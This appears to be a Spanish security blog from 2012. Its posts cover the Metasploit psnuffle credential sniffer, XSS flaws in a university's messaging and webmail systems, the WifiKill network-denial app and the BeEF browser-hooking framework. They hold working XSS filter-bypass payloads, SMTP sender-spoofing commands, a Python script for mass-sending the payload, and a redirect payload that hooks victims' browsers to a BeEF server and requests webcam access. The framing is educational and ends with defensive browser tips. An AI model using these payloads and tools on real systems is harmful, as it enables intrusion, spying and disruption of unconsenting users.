viernes, 30 de noviembre de 2012

Coqueteando con Metasploit: Módulo psnuffle

  Este es el primero(pese a que anteriormente ya se ha tocado el tema ;) ) de lo que es seguramente será una serie de post sobre Metasploit y herramientas asociadas a éste (Msfencode, MSFpayload...) con la finalidad  tener en el blog una guía de referencia de las posibilidades que dichas aplicaciones ofrecen. Cada entrada tendrá distinta longitud y tocará desde  POC comunes como ataques sobre un XP SP2 a secciones menos conocidas o comentadas como son algunos módulos auxiliares.

  Con esta pequeña introducción ya tenemos lo necesario para empezar con lo divertido, el módulo de Metasploit psnuffle :D.


 Psnuffle es un sniffer que permite, de forma sencilla capturar datos de los protocolos POP3, IMAP, FTP y HTTP (solo peticiones GET y no HTTPS). Para acceder a él basta con:
use auxiliary/sniffer/psnuffle
La información de este módulo es accesible mediante
info 
y permite configurar parámetros como filtros, la interfaz para capturar tráfico o los protocolos a utilizar entre otros.


 Una vez realizadas las configuraciones pertinentes (no son necesarias para su funcionamiento, solo para obtener más precisión el la captura) para iniciar el sniffer es tan simple como escribir
run

  Conforme se vayan capturando datos de los distintos protocolos se irán mostrando por pantalla:


  En resumen, un módulo simple que no llega a los niveles de otros sniffer más potentes como Wireshark o Ettercap pero puede ser útil para determinados momentos.

 Para completar el contenido de la entrada el siguiente  vídeo del desarrollador muestra las funcionalidades del módulo:



Además de estos enlaces a modo de fuente e información extra:
Metasploit Unleashed => https://www.offensive-security.com/metasploit-unleashed/Password_Sniffing 
MAX's blog (blog del desarrollador) => http://remote-exploit.blogspot.com.es/2009/08/psnuffle-password-sniffer-for.html


Con todo esto es hora despedirse, nos leemos en breve ;)

martes, 20 de noviembre de 2012

Los peligros de un XSS - Un ejemplo universitario: Ronda final

 Tercera y (espero) última entrega de "Los peligros de un XSS - Un ejemplo universitario".



Recapitulemos:

  Como vimos en episodios anteriores, existía una vulnerabilidad XSS en el sistema de mensajería interna de la universidad mediante el cual se podían ejecutar código Javascript en el navegador de quien recibiera y abriera el mensaje. Este "pequeño" fallo fue corregido de forma parcial limitando el uso de las etiquetas <script></script>, pero durante los hechos del segundo capítulo se comprobó que esta medida era insuficiente y gracias a la ayuda de un Cheat Sheet se conseguía saltar el sistema de filtrado.


Una vez rememorados los mejores momentos de los anteriores capítulos veamos que aventuras nos ofrece el cierre de la trilogía. En la universidad además del sistema de mensajería interno, existe un correo asociado a cada usuario utilizado por todos varias veces al día. A dicho correo (a no ser que sea redirigido) se le puede acceder por dos interfaces web, una clásica (segura)  y otra mas nueva (MUERTE!!) no tan fiable.

  Estando ya en situación, imaginemos que existiera, como en anteriores ocasiones una vulnerabilidad XSS a la hora de leer un correo, esto sería mucho más peligroso (más adelante veremos los motivos) debido entre otras cosas al mayor uso que tiene este servicio respecto al otro. Pero NO, el problema no está ahí (por desgracia), la cosa es mucho mas sería ya que es el asunto del correo electrónico el que permite ejecutar Javascript, con lo que basta con cargar la interfaz, que compruebe nuevos correos y BUM!!! se ejecuta cualquier cosa que haya en el asunto:


 En esta bonita interfaz, mandamos un correo a nuestro nombre al desafortunado destinatario. Como hemos dicho en el asunto escribiríamos algo como:
<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">
 asumiendo siempre que queremos ejecutar un alert ;)

Nota: El significado de esta sentencia esta explicado en la entrega anterior.

  El desafortunado receptor, al abrir su bandeja y recibir el correo, verá impotente como su navegador muestra una ventana con (siguiendo el ejemplo) un 2 (además de mostrar al sensual David Hasselhoff ;)).



  Para un atacante, en anteriores casos, tenia que apropiarse de una cuenta ajena para salir bien parado de un ataque de este tipo, pero ahora, además de ser mas peligroso, existe la posibilidad de conectarse al servidor SMTP del correo y mandar mensajes de forma totalmente anónima (por este motivo es más peligroso que los anteriores).

   Para hacer tal tarea tendrá que seguir una serie de pasos:
telnet IP 25
una vez haya establecido la conexión:
MAIL FROM: emisor@dominio
dónde caca@dominio es el falso emisor.
RCPT TO: receptor@dominio
y  receptor@dominio es el receptor del mensaje (debe de ser auténtico).
DATA
es el cuerpo del mensaje y donde escribiremos el código Javascript de la siguiente forma:
Subject: <img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)"> 
 sabiendo que Subject es el asunto del mensaje.
Para finalizar se escribe un punto:
.
 y ya podemos cerrar la conexión con:
QUIT
Esto da la posibilidad a ataques anónimos.




Si todo esto no es suficiente peligroso, añadamos un script con un bucle para que enviara un correo a X personas y si se juntase con BeEF (como se vio en el post anterior) se podría montar una bootnet de grandes dimensiones.

 El script podrías ser una modificación de este:

#!/usr/bin/env python
import telnetlib

servidor = "IP"
asunto = '<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">'

t = telnetlib.Telnet(servidor, 25)
t.read_some()
t.read_some()
t.write("MAIL FROM: emisor@dominio")
t.write("\n")
t.read_some()
t.write("RCPT TO: receptor@dominio")
t.write("\n")
t.read_some()
t.write("DATA")
t.write("\n")
t.read_some()
t.write('Subject: ' + asunto)
t.write("\n")
t.write(".")
t.write("\n")
t.read_some()
t.read_some()
t.close()


  Este script con algunas pequeñas modificaciones junto con alguien con oscuras intenciones podría llegar a ser muy peligroso, con lo que cerraremos el post con un par de complementos para nuestro navegador que ayudarán a prevenir este tipo de ataques:

[+] Google Chrome / Chromium 
     [-] ScriptNo: Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.
     [-] FlashBlock: Igual que el anterior pero referido a flash.

[+] Firefox / Iceweasel
    [-] NoScript:  Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.
    [-] FlashblockIgual que el anterior pero referido a flash.


Y con este par de recomendaciones, concluimos la trilogía, nos leemos en breve ;)

Nota I: Información de SOGo =>  http://www.sogo.nu/about/overview.html
Nota II: Python y Telnet =>  http://docs.python.org/2/library/telnetlib.html





viernes, 16 de noviembre de 2012

Aplicaciones Android - WifiKill


  WifiKill es una herramienta que permite dejar sin conexión a los usuarios de una misma red a la que el dispositivo Android este conectado. Dicha aplicación duró apenas unos días en el Android Market (actual Google Play), así que ahora es posible encontrarla en los foros de XDA-developers en el siguiente enlace:
http://forum.xda-developers.com/showthread.php?t=1282900

 La actual versión (v1.2) es de pago (o requiere una donación), aunque se puede probar la versión de prueba que además de venir con publicidad solo funcionará durante 5 minutos seguidos.

 Como alternativa existe la versión antigua que funciona bien (al menos en mis pruebas) que sacrifica algunas funcionalidades a cambio de ser gratuita (con publicidad) y es la que se ha usado en esta entrada.
  Esta viejuna versión es posible descargarla en esta dirección:
http://forum.ponury.net/viewtopic.php?f=12&t=10

 Antes de empezar a comentar las posibilidades de la aplicación, hay que tener en cuenta que es necesario SER ROOT en el dispositivo para utilizarla.

  Lo primero que se verá al abrir la aplicación es una interfaz minimalista (simple), con un botón en la parte superior (valores ON/OFF) que permite iniciar la búsqueda de dispositivos en la red.
  Una vez se complete la búsqueda se mostrarán las direcciones IP de éstos(los dispositivos) junto con su dirección MAC y el fabricante de esta si se ha habilitado la pertinente opción.



 A partir de aquí su funcionamiento no puede ser mas simple, basta con seleccionar el dispositivo (o dispositivos) al cual se le quiera privar de la conexión a Internet y la aplicación empezará a hacer su trabajo:


Nota: También es posible seleccionar la red entera pulsando el botón All en la parte superior derecha.

  Cuando se quiera detener el acoso a la victima (o las víctimas) basta con desmarcar la pertinente casilla o detener la aplicación pulsando el botón superior.

  Respecto a su panel de opciones, se muestran diversas posibilidades como activar la resolución de nombres de fabricantes de tarjetas de red respecto a la dirección MAC de éstas o restringir el rango de IPs sobre el que se realizará el escaneo.



  Para finalizar solo recomendar no utilizar esto en grandes redes como empresas o universidades, puesto que no ésta no es una aplicación discreta en cuanto a su funcionamiento (sobretodo con la opción All) y tengo conocimiento de algunos amigos que con aplicaciones similares y con afán de broma han salido mal parados.

  Solo decir que instaléis y uséis esto bajo vuestra responsabilidad, nos leemos en breve ;)

martes, 6 de noviembre de 2012

Los peligros de un XSS - Un ejemplo universitario: 2º asalto

  Hace unos meses escribí un post sobre una vulnerabilidad XSS que existía en el sistema de mensajería interna de la universidad en la que "estudio". Para abreviar, no se filtraba el código Javascript que contenían los mensajes con lo que alguien con ganas de hacer daño podía perpetrar peligrosos ataques.

  Tiempo después dicha vulnerabilidad fue subsanada haciendo que cuando se encontrasen un par de etiquetas <script></script> éstas fuesen ignoradas evitando así la ejecución del código no deseado. Esto sería muy bonito sino hubiesen mas formas de ejecutar código en Javascript, como pueden ser las funciones asociadas a una etiqueta de imagen de HTML.

Veamos un ejemplo para entender mejor esto:

  El usuario X recibe un mensaje de otro alumno Y, al abrirlo se encuentra esto:


entonces el usuario X se pregunta:
 ¿como es esto posible?¿no se bloqueaba el código en javascript?
Acto seguido el usuario X decide responder al mensaje para observar su contenido:


 Al ver el mensaje el usuario queda asombrado ante su contenido:
<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">
 El código ejecuta la función alert() de javascript mostrando un mensaje por pantalla. Esto es debido al campo onload= que la acompaña. Su funcionalidad es ejecutar la función asociada cuando se cargue la imagen referenciada por el identificador src=.


  Este sería un ejemplo de como evitar el filtro anti-XSS que implementa la web. En este caso el filtrado no era muy complejo, pero en muchas otras situaciones los administradores del sitio ya conocen esta "técnica ninja" de evasión y "el ataque" es mas complejo.

Cuando la cosa se pone fea es cuando podemos buscar en los conocidos Cheat Sheet como es el que publicó mi compañero de aventuras  el señor The X-C3LL:
http://0verl0ad.blogspot.com.es/2009/02/xss-cheatsheet.html
En esta recopilación hay un ejemplo que me ha resultado muy útil en numerosas ocasiones incluida la presente:
<img src=. onerror=alert(/XSSed/)>
 Este fragmento permite ejecutar un código javascript cuando se produce un error al cargar la imagen asociada, con lo que al poner el punto se ejecutará siempre.


  Respecto al "nuestro ejemplo universitario" vemos que el resultado es igual al caso anterior:

    El mensaje:

   y su contenido:


  Si las "técnicas ninja" para evitar los XSS del post de 0verl0ad no os son suficientes, en OWASP existe una recopilación enorme lista para hacer consultar:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator


  Hasta aquí hemos visto como un atacante puede evitar un filtro anti-XSS y ejecutar un alert mostrando un mensaje por pantalla, un acto muy inocente comparado con lo que se puede llegara hacer. Para comprobar el alcance de este tipo de vulnerabilidades y evitando repetir lo del post predecesor "tontearemos" un poco con BeEF.

  Esta aplicación permite "secuestrar" el navegador de los inocentes usuarios que visiten una web preparada para tal propósito siendo agregados a una oscura bootnet.

Para probar este framework utilizaremos Backtrack 5 R3 que ya lo trae listo para servir :D.

El primer paso es ejecutarlo, para ello vamos al directorio /pentest/web/beef:
cd /pentest/web/beef

A continuación lanzamos la aplicación con:
./beef

  Al lanzarlo aparecerá un campo llamado UI URL:, en el aparece una ip que al introducirla en el navegador se cargará la ventana de login de BeEF, (usuario/password: beef/beef) para despues acceder al panel de administración:




  La potencia de esta aplicación es enorme y comentar sus múltiples opciones llevaría muchos post desviándonos del cometido del que nos ocupa, así que nos centraremos en un ataque que últimamente asusta mucho a la gente (que los niños y los que tienen un corazón frágil no lean la siguiente frase):
ENCENDER LA WEBCAM DE LA VÍCTIMA
 Dicho así parece muy apocalíptico, aunque para conseguirlo es necesaria la interacción de la víctima, lo que conlleva al uso inevitable de ingeniería social. Puesto que esto es un ejemplo teórico y didáctico, se utilizaran las opciones por defecto que trae el framework, pero si se quisiera hacer daño, un atacante con oscuras intenciones no tendría grandes complicaciones para adaptarlo a sus necesidades.

  Con BeEF en funcionamiento, utilizaremos la web que ofrecen de prueba para "infectar" a las víctimas, la dirección es algo similar a esto:
IP:3000/demos/basic.html
donde IP es la dirección IP donde se está ejecutando el framework.

  Siguiendo con el ejemplo estrella del post (el XSS de los mensajes) para que una inocente víctima visite la web bastaría con un mensaje con el siguiente contenido:
 <img src=. onerror=document.location="IP:3000/demos/basic.html">

Al abrir su correspondencia automáticamente será redireccionada a la siguiente página:


 para, acto seguido ser agregada a la bootnet.


Con el inocente cordero en las garras de nuestra oscura red, nos adentramos entre los menús de la aplicación hasta que llegamos a la opción de la webcam:
Browser > Hooked Domain > Webcam

  En la parte de la derecha aparecerán numerosas opciones para poder "decorar" el ataque con la finalidad de "seducir" a la víctima, puesto que nosotros sabemos que la víctima aceptará dejamos todo por defecto y pulsamos en Execute con lo que en su navegador será redirigida a una página que le pedirá acceso a la Webcam (para que caiga en esta parte es importante la ingeniería socia y el decorar la página ;) ).


Al pulsar permitir, en nuestro panel administrativo recibiremos la confirmación:



Y se acabó el post :( , una entrada en la que hemos visto como evitar algunos filtros anti-XSS y lo peligrosa que pude ser una herramienta como BeEF. Dicho esto solo queda decir
 CUIDADO!!
y nos leemos en breve ;)


*****************************************************
Los peligros de un XSS - Un ejemplo universitario: Ronda final
*****************************************************